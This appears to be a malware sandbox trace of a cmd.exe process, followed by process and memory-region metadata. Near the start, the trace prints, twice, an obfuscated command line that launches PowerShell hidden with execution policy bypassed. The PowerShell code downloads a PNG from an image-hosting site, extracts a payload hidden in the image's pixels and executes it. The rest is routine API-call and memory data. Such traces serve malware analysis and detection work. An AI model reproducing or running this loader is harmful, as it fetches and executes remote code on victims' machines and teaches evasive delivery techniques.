	[0058.586] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4d
	[0058.586] srand (_Seed=0x5be14a4d) 
	[0058.586] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe  /S /D /c\" echO  ,%*[-,%   \""
	[0058.586] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe  /S /D /c\" echO  ,%*[-,%   \""
	[0058.586] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.586] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fd3e90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0058.586] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0058.586] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.586] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0058.586] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0058.586] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0058.587] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0058.587] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0058.587] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0058.587] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0058.587] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0058.587] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0058.587] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0058.587] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0058.587] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1afb10 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.587] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x1afb10, lpFilePart=0x1afaf0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1afaf0*="Desktop") returned 0x19
	[0058.587] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0058.587] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1af820 | out: lpFindFileData=0x1af820) returned 0x37bdb0
	[0058.587] FindClose (in: hFindFile=0x37bdb0 | out: hFindFile=0x37bdb0) returned 1
	[0058.587] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x1af820 | out: lpFindFileData=0x1af820) returned 0x37bdb0
	[0058.587] FindClose (in: hFindFile=0x37bdb0 | out: hFindFile=0x37bdb0) returned 1
	[0058.587] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x1af820 | out: lpFindFileData=0x1af820) returned 0x37bdb0
	[0058.587] FindClose (in: hFindFile=0x37bdb0 | out: hFindFile=0x37bdb0) returned 1
	[0058.588] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0058.588] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0058.588] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0058.588] GetEnvironmentStringsW () returned 0x37bf50*
	[0058.588] FreeEnvironmentStringsW (penv=0x37bf50) returned 1
	[0058.588] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0058.588] GetConsoleOutputCP () returned 0x1b5
	[0058.589] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.589] GetUserDefaultLCID () returned 0x409
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1afc20, cchData=128 | out: lpLCData="0") returned 2
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1afc20, cchData=128 | out: lpLCData="0") returned 2
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1afc20, cchData=128 | out: lpLCData="1") returned 2
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0058.589] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0058.590] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0058.590] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0058.590] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0058.590] GetConsoleTitleW (in: lpConsoleTitle=0x1fd4110, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0058.590] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0058.590] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0058.590] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0058.590] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0058.591] GetEnvironmentVariableW (in: lpName="*[-,", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))^&^& seT  aDIzy=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  ^^^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc byPASS  -nOPrOFIle  -COmMANd     ^^^^^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x44a
	[0058.591] _wcsicmp (_String1="echO", _String2=")") returned 60
	[0058.591] _wcsicmp (_String1="FOR", _String2="echO") returned 1
	[0058.591] _wcsicmp (_String1="FOR/?", _String2="echO") returned 1
	[0058.591] _wcsicmp (_String1="IF", _String2="echO") returned 4
	[0058.591] _wcsicmp (_String1="IF/?", _String2="echO") returned 4
	[0058.591] _wcsicmp (_String1="REM", _String2="echO") returned 13
	[0058.591] _wcsicmp (_String1="REM/?", _String2="echO") returned 13
	[0058.596] _get_osfhandle (_FileHandle=1) returned 0x58
	[0058.596] GetFileType (hFile=0x58) returned 0x3
	[0058.596] _get_osfhandle (_FileHandle=1) returned 0x58
	[0058.596] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ,set  suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))&& seT  aDIzy=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  ^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc byPASS  -nOPrOFIle  -COmMANd     ^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )  &&  cmd.exE   /c %adizY%   \r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ,set  suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))&& seT  aDIzy=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  ^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc byPASS  -nOPrOFIle  -COmMANd     ^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )  &&  cmd.exE   /c %adizY%   \r\n", lpUsedDefaultChar=0x0) returned 1096
	[0058.596] WriteFile (in: hFile=0x58, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x1af898, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x1af898*=0x447, lpOverlapped=0x0) returned 1
	[0058.596] _get_osfhandle (_FileHandle=1) returned 0x58
	[0058.596] SetConsoleMode (hConsoleHandle=0x58, dwMode=0x0) returned 0
	[0058.597] _get_osfhandle (_FileHandle=1) returned 0x58
	[0058.597] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0058.597] _get_osfhandle (_FileHandle=0) returned 0x3
	[0058.597] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0058.597] SetConsoleInputExeNameW () returned 0x1
	[0058.597] GetConsoleOutputCP () returned 0x1b5
	[0058.597] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.597] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0058.597] exit (_Code=0) 

Process:
	id = "12"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x52de8000"
	os_pid = "0xb78"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0xb50"
	cmd_line = "cmd ; "
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1281
	        start_va = 0x10000
	          end_va = 0x44fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1282
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1283
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1284
	        start_va = 0xd0000
	          end_va = 0x1cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1285
	        start_va = 0x49e40000
	          end_va = 0x49e98fff
	     entry_point = 0x49e40000
	     region_type = mapped_file
	            name = "cmd.exe"
	        filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")

Region:
	              id = 1286
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1287
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1288
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1289
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1290
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1291
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 1292
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1293
	        start_va = 0x250000
	          end_va = 0x34ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000250000"
	        filename = ""

Region:
	              id = 1294
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1295
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1296
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1297
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1298
	        start_va = 0x30000
	          end_va = 0x36fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1299
	        start_va = 0x40000
	          end_va = 0x41fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1300
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000070000"
	        filename = ""

Region:
	              id = 1301
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000080000"
	        filename = ""

Region:
	              id = 1302
	        start_va = 0x1d0000
	          end_va = 0x236fff
	     entry_point = 0x1d0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1303
	        start_va = 0x350000
	          end_va = 0x44ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000350000"
	        filename = ""

Region:
	              id = 1304
	        start_va = 0x460000
	          end_va = 0x46ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000460000"
	        filename = ""

Region:
	              id = 1305
	        start_va = 0x470000
	          end_va = 0x5f7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000470000"
	        filename = ""

Region:
	              id = 1306
	        start_va = 0x600000
	          end_va = 0x780fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000600000"
	        filename = ""

Region:
	              id = 1307
	        start_va = 0x790000
	          end_va = 0x1b8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000790000"
	        filename = ""

Region:
	              id = 1308
	        start_va = 0x1b90000
	          end_va = 0x1ed2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001b90000"
	        filename = ""

Region:
	              id = 1309
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1310
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1311
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1312
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1313
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1314
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1315
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1316
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1317
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1318
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1320
	        start_va = 0x1ee0000
	          end_va = 0x1fdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ee0000"
	        filename = ""

Region:
	              id = 1321
	        start_va = 0x1fe0000
	          end_va = 0x20a7fff
	     entry_point = 0x1fe0000
	     region_type = mapped_file
	            name = "basebrd.dll"
	        filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll")

Region:
	              id = 1322
	        start_va = 0x1fe0000
	          end_va = 0x20a7fff
	     entry_point = 0x1fe0000
	     region_type = mapped_file
	            name = "basebrd.dll"
	        filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll")

Region:
	              id = 1323
	        start_va = 0x20b0000
	          end_va = 0x24a2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000020b0000"
	        filename = ""

Region:
	              id = 1324
	        start_va = 0x24b0000
	          end_va = 0x277efff
	     entry_point = 0x24b0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1700
	        start_va = 0x2780000
	          end_va = 0x297ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002780000"
	        filename = ""


Thread:
	id = 99
	os_tid = 0xb7c

	[0058.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfa90 | out: lpSystemTimeAsFileTime=0x1cfa90*(dwLowDateTime=0xe55be9b0, dwHighDateTime=0x1d475a6)) 
	[0058.536] GetCurrentProcessId () returned 0xb78
	[0058.536] GetCurrentThreadId () returned 0xb7c
	[0058.536] GetTickCount () returned 0x1ec22
	[0058.536] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfa98 | out: lpPerformanceCount=0x1cfa98*=1813771000000) returned 1
	[0058.538] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0058.538] __set_app_type (_Type=0x1) 
	[0058.538] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0058.538] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0058.538] GetCurrentThreadId () returned 0xb7c
	[0058.538] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb7c) returned 0x3c
	[0058.538] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0058.538] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0058.538] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0058.598] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0058.598] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cfa28 | out: phkResult=0x1cfa28*=0x0) returned 0x2
	[0058.598] VirtualQuery (in: lpAddress=0x1cfa10, lpBuffer=0x1cf990, dwLength=0x30 | out: lpBuffer=0x1cf990*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.598] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cf990, dwLength=0x30 | out: lpBuffer=0x1cf990*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.598] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cf990, dwLength=0x30 | out: lpBuffer=0x1cf990*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.598] VirtualQuery (in: lpAddress=0xd4000, lpBuffer=0x1cf990, dwLength=0x30 | out: lpBuffer=0x1cf990*(BaseAddress=0xd4000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0058.598] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cf990, dwLength=0x30 | out: lpBuffer=0x1cf990*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0058.598] GetConsoleOutputCP () returned 0x1b5
	[0058.598] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0058.599] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0058.599] _get_osfhandle (_FileHandle=1) returned 0x7
	[0058.599] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0058.599] _get_osfhandle (_FileHandle=1) returned 0x7
